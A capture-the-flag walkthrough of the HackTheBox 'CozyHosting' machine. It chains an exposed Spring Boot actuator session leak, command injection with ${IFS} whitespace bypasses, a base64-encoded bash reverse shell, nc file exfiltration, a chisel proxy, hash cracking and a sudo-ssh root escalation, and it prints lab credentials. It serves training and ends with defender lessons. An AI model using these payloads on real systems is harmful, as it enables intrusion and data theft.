CozyHosting

INTRODUCTION

Cozyhosting was released as the penultimate box of HTB’s season II “Hackers Clash”. The box is set up as a server hosting a Spring Boot application, with the challenge revolving around exploiting the web app to gain an initial foothold. The box uses common vulnerabilities and is definitely one of the easier boxes of the season.

Recon for Cozyhosting was important. A little bit of enumeration will yield a token with which you can hijack an existing session, giving you access to an admin dashboard. The admin dashboard has functionality inside it that can lead directly into a foothold - the only trick is in realizing what’s in front of you (Burp will be very useful here). Also, knowing a few tricks for escaping strings for shell command injection might help 😉.

Keeping in mind how spring boot works will point you in the right direction for achieving the user flag: theres a file necessary for the server to run that leads, indirectly, to a couple password hashes. After a little hash cracking (don’t worry, it’s fast), you’ll finally have SSH access to the box. Once you have ssh open, the privesc to root should be very, very obvious. Don’t overthink the root flag - once you see it, just check GTFObins and do what it says.

title picture

RECON

nmap scans

For this box, I’m running the same enumeration strategy as the previous boxes in the Open Beta Season II. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to my target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
Nmap scan report for 10.10.11.230
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Is this one entirely web? To investigate a little further, I ran a script scan over the ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Webserver Strategy

Noting the redirect from the nmap scan, I added download.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=cozyhosting.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb $RADDR && curl -IL http://$RADDR

whatweb

Next I performed vhost and subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 80 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

vhost root enum

No results. That’s fine though - it’s not as if “cozyhosting” is in my wordlist. Now I’ll check for subdomains of cozyhosting.htb

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 80 -o fuzzing/vhost-cozyhosting.md -of md -timeout 4 -ic -ac -v

No results from that, either. I’ll move on to directory enumeration on http://cozyhosting.htb:

Note: When I first ran directory enumeration, I got lots of nuisance HTTP status 200 results, each of size 2066B - so those are filtered out in the following ffuf command

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-root -of json -e php,asp,js,html -timeout 4 -v

Directory enumeration against http://cozyhosting.htb/ gave the following:

directory enum 1

I tried accessing /admin, just to see what was there. It just leads to a page that is not useful. So then I tried a larger wordlist:

WLIST=/usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 -c -timeout 4 -v 

This didn’t produce any usable new results, either. It seems like many pages that have a URL-encoded “.” match to a 1-word page, but these don’t seem useful in any way. I’ll try a couple more tools for directory enumeration. First, I’ll try dirsearch:

dirsearch -t 60 -u http://cozyhosting.htb

directory enum 2

Oh, nice! There is a directory for /actuator. This is a Java Spring Boot tool for helping add webserver features; it does things like logging and monitoring. If I can access it unauthenticated, this is a fairly serious misconfiguration and a very likely path forward.

actuator 1

Yep! I can access it unauthenticated. That /actuator/env looks juicy: I’ll check that out first. Clearly this is pointing to http://localhost:8080/actuator/env, but as shown in the top result, all of these pages are also publicly available under http://cozyhosting/actuator.

actuator 2

I get the impression that /actuator/env actually has most of its values hidden or censored. There doesn’t seem to be anything here that is useful. I’ll check out /actuator/sessions instead:

actuator 3

😁 Nice! We can just swipe that session ID and take over the session open as kanderson. While exploring the website a bit and proxying my requests through Burp, I noticed that each request includes a JSESSIONID cookie. To see if kanderson is an “admin” I’ll try using their cookie while making a request to the /admin page:

actuator 4

It worked like a charm!

admin page 1

😆 Well, that was pretty easy! I’ll take a look around the admin page. Already, I see that each host is marked as Patched / Pending ? Not patched. This must be what the index page was alluding to, from their description of each tier of service shown below:

index page pricing

On the admin page, there is an odd message. Is this just a typo? Usually only the public key gets put into the .ssh/authorized_keys file:

admin page 2

This “include host into automatic patching” includes a small form where where the admin user can specify a host and a username:

<form action="/executessh" method="post">
    <div class="row mb-3">
        <label class="col-sm-2 col-form-label">Connection settings</label>
        <div class="col-sm-10">
            <div class="form-floating mb-3">
                <input name="host" class="form-control" id="host" placeholder="example.com">
                <label for="host">Hostname</label>
            </div>
            <div class="form-floating mb-3">
                <input name="username" class="form-control" id="username" placeholder="user">
                <label for="username">Username</label>
            </div>
    	</div>
   	</div>
    <div class="text-center">
        <button type="submit" class="btn btn-primary">Submit</button>
        <button type="reset" class="btn btn-secondary">Reset</button>
    </div>
</form>

FOOTHOLD

Automatic Patching Form

I tried filling out this form in a few different ways, using the kanderson session ID each time. First, I tried one of the hosts that were listed on the admin page:

admin page 4

Invalid hostname, eh? Ok. I’ll instead try the ID number beside it:

admin page 5

That translates to 0.0.10.84? Ohh… I think I see what’s going on: 10*256+84 = 2644. Yep! 🤓 It’s an IPv4 translation to a 4-digit base-256 number. Here’s a more trivial case, also showing that this will try to connect to any numeric address:

admin page 3

Taking this one step further, the localhost address would be 127 * 256^3 + 1 = 2,130,706,433:

admin page 6

“Host key verification failed”. Well, at least that’s something different. It probably means that it’s a valid host. Assuming the host is fine, I’ll try messing around with the username parameter instead. I’ll try a blank username:

cmd injection 1

Very interesting! The server must be issuing a command in the form ssh -i <keyfile> <username>@<host> <command>. So when I provided a blank username, I get the ssh error text. That’s fine though - there’s a good chance this could lead to command injection. How about, instead of providing a username, I’ll just pop in a shell command:

cmd injection 2

Perfect! That proves that command injection is possible. I’ll try reading a file instead:

cmd injection 3

Username can’t contain whitespaces, eh? Ok, no problem - there’s plenty of tricks for that:

cmd injection 4

Excellent - that’s the first line of /etc/passwd that got dumped into the error text. For context, there are many more methods for bypassing spaces listed on this Hacktricks page. I’ll try a reverse shell next:

sudo ufw allow from $RADDR to any port 4444 proto tcp
socat -d -d TCP-LISTEN:4444 STDOUT

And I’ll use a base64-encoded bash reverse shell:

{echo,"L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEzLzQ0NDQgMD4mMQ=="|base64,-d|bash,-i}

cmd injection 5

It’s still complaining about whitespace. Must be because of the + characters inside the payload, which is a URL-encoded space character. I’ll double-encode the base-64 payload this time:

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMy80NDQ0IDA+JjE=" | base64
# WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0eE15ODBORFEwSURBK0pqRT0K

cmd injection 6

😬 Ouch - it liked that even less. I’ll try a different method of introducing spaces, using ${IFS}:

echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0eE15ODBORFEwSURBK0pqRT0K|base64${IFS}-d|base64${IFS}-d|bash${IFS}-i

reverse shell 1

🐱 Success! Got a shell!

USER FLAG

cloudhosting-0.0.1.jar

The reverse shell opened as user app in directory /app. Inside, there’s a .jar file that was referenced several times within /actuator/env, called cloudhosting-0.0.1.jar. I’ll transfer it to my attacker box and examine it:

sudo ufw allow from $RADDR to any port 4445 proto tcp
nc -lvnp 4445 > cloudhosting-0.0.1.jar
nc -nv 10.10.14.13 4445 < cloudhosting-0.0.1.jar

The file is roughly 60MB, so it might take some time to transfer. To tell when it’s finished, I’ll watch the file size in another terminal tab:

cd ~/Box_Notes/CozyHosting
watch -n 1 "ls -lah"

While I’m waiting for that file transfer, I’ll take another look at /actuator/env to see what I can expect to find in the .jar file:

jar file contents 1

There’s all kinds of stuff. Looks like maybe a credential and perhaps a database connection?

The file transfers finally finished, so I checked the source and destination files with sha256sum and they did indeed both match.

Bingo! In BOOT-INF > classes > application.properties the database credentials are in plaintext:

server.address=127.0.0.1
[...SNIP...]
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR

For copy-pasting, that credential is postgres : Vg&nvzAQ7XxR.

And in the file BOOT-INF > classes > htb.cloudhosting > scheduled > FakeUser.class we have the credentials for kanderson in plaintext too. kanderson : MRdEQuv6~6P9

User Enumeration - app

As usual, in an effort to keep the walkthrough as brief as possible, I’ll omit the procedure of user enumeration and instead I’ll only discuss any noteworthy results of user enumeration.

  • josh is the human user on the box. Other than that, postgres and root are important.
  • Useful tools on the box include nc, netcat, curl, wget, python3, perl, tmux.
  • Netstat shows some interesting services running: netstat
  • Did not yet look into pspy

Chisel SOCKS Proxy

During user enumeration I found a locally-exposed port 5432 (definitely PostgreSQL). To access it, I’ll set up a SOCKS proxy using chisel. I’ll begin by opening a firewall port and starting the chisel server:

☝️ Note: I already have proxychains installed, and my /etc/proxychains.conf file ends with:

...
socks5  127.0.0.1 1080
#socks4 127.0.0.1 9050
sudo ufw allow from $RADDR to any port 9999 proto tcp
./chisel server --port 9999 --reverse --key s4ucys3cret

Then, on the target machine, start up the chisel client and background it:

./chisel client 10.10.14.13:9999 R:1080:socks &

PostgreSQL

Now that the proxy is up, I’ll try accessing the database:

proxychains psql -h 127.0.0.1 -p 5432 -d cozyhosting -U postgres

There is a users table, so I checked that right away:

users table

I put those hashes into a file for cracking, hashes.txt:

hashes

Just for my own information, I also checked what the hash format was:

hash format

Then I set john to work. Thankfully, I got a result within a minute or so:

john results

There are no users on the box called admin, so there’s a good chance this will factor into some credential re-use. I’ll try the other human user, josh first:

ssh access

Lucky! Finally a nice “cozy” SSH connection 🤗

So, confirmed, a valid credential is josh : manchesterunited

Thankfully, the user flag is sitting right there, adjacent to where the SSH connection appeared:

cat user.txt

ROOT FLAG

Shortcut to Win

Normally, I’d go through the whole process of user enumeration. However, one of the first commands I run when performing user enumeration told me all that I need to know:

josh enum 1

I’ve never considered SSH itself as a privilege escalation vector before, so I checked out the page on GTFObins. There is a fairly trivial way to just read a file using the elevated permissions:

ssh -F /root/root.txt localhost

josh enum 2

🍰 And there’s the flag! Nothing to it.

LESSONS LEARNED

two crossed swords

Attacker

  • Look up common misconfigurations. Gaining the session token for kanderson was really easy, but at first I didn’t know about this vulnerability at all. Initial recon turned up the “actuator” endpoint, but it took a little research to see how misconfiguration of “actuator” could actually be utilized.

  • Have a list of string escapes and bypasses. On this box, there was server-side input sanitization that prevented us from inputing spaces. This was a small hurdle for the command injection step, as we had to find another way to use spaces in a command, without them being rejected by the server. This is a pretty good resource.

  • Imagine what code is running server-side. This paradigm will help you craft a successful attack. Usually, the first step of figuring out what the code might be is to simply understand what the code is supposed to do. Read forms carefully; look for code comments; try to get the server to provide a stack trace. When all else fails, build test cases and take a black-box approach. Just because this box is primarily web, doesn’t mean you can’t utilize reverse-engineering techniques!

two crossed swords

Defender

  • Always prefer allowlists to denylists. When I first found remote code execution on the box through command injection on the /executessh endpoint, I saw that the server was denying requests that had a space in the username. However, there are many tricks to avoid that. While it might be possible for a developer to write a canonical list of every single way to make whitespace, it is much more realistic to write a simple regex for what should be allowed instead of what should not be allowed.

  • Tokens should expire. On this box, initial access was gained by re-using a session token gained during recon. While it is somewhat realistic that a token might be accidentally leaked, these tokens in practice should have a much tighter expiry time.

  • Don’t circumvent safeguards. On this box, privesc to root happened because josh could sudo SSH. Now I’ll ask, in what world does that actually make any sense? At best, this was a clumsy mistake by an ill-informed administrator. SSH provides a shell, so this is equivalent to giving josh full sudo access.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake